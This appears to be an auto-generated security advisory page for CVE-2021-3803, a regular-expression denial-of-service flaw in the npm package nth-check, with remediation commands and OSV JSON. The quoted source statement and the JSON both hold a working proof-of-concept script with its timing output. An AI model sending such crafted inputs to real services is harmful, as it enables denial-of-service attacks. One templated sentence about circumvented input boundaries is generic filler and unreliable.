CVE-2021-3803: Nth check Inefficient Regular Expression Complexity Vulnerability

HIGH
Advisory Identifier: GHSA-rp65-9cf3-cjxr
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CVSS 7.5
CWE-1333
Published
Advisory Summary

CVE-2021-3803 is a HIGH (CVSS 7.5) inefficient regular expression complexity vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Nth check libraries in the npm ecosystem. The issue involves inefficient regular expression complexity in nth-check. Remediation is available by upgrading affected packages to version 2.0.1.

CVE-2021-3803 at a Glance

CVE Identifier CVE-2021-3803
GHSA Identifier GHSA-rp65-9cf3-cjxr
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Nth check
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2021-3803

To remediate this vulnerability, upgrade all affected Nth check dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nth-check fixed: 2.0.1 
npm install nth-check@2.0.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls nth-check

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2021-3803, inspect your project dependencies using npm:

npm ls nth-check

Analyze the terminal output to locate any version of Nth check in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.1), your application is affected.

Note: The npm ls nth-check command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Nth check, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks. The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code. **Proof of Concept** ```js // PoC.js var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try { nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } } ``` **The Output** ``` attack_str.length: 10003: 174 ms attack_str.length: 20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378 ms attack_str.length: 50003: 7473 ms ```

CVE-2021-3803 Affected Nth check Versions

1 component(s)
Fixed Versions:
2.0.1
Product / Package Ecosystem Affected Versions Fixed Version
nth-check
npm/nth-check
npm
< 2.0.1
2.0.1

References

NVD — CVE-2021-3803 NVD
https://nvd.nist.gov/vuln/detail/CVE-2021-3803
Security Fix Commit FIX COMMIT
https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726
Nth check Source Repository REPOSITORY
https://github.com/fb55/nth-check
huntr.dev/bounties/8cf8cc06-d... WEB
https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0
lists.debian.org/debian-lts-announce... WEB
https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html

Frequently Asked Questions

What is CVE-2021-3803?
CVE-2021-3803 is a security vulnerability in Nth check involving Inefficient Regular Expression Complexity in nth-check under CWE-1333: Inefficient Regular Expression Complexity.
Which Nth check versions are affected?
Affected versions include releases prior to 2.0.1 across affected packages: nth-check.
What version fixes CVE-2021-3803?
Upgrading to 2.0.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nth-check affected?
Yes, nth-check is affected in releases prior to 2.0.1. Upgrade your dependency to 2.0.1 or later.
What is the CVSS score of CVE-2021-3803?
CVE-2021-3803 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2021-3803?
CVE-2021-3803 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for CVE-2021-3803?
Run the dependency tree command: 'npm ls nth-check'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rp65-9cf3-cjxr",
  "modified" : "2023-09-13T21:49:54Z",
  "published" : "2021-09-20T20:47:31Z",
  "aliases" : [ "CVE-2021-3803" ],
  "summary" : "Inefficient Regular Expression Complexity in nth-check",
  "details" : "There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nth-check"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-3803"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fb55/nth-check"
  }, {
    "type" : "WEB",
    "url" : "https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-09-20T20:15:09Z",
    "nvd_published_at" : "2021-09-17T07:15:00Z"
  }
}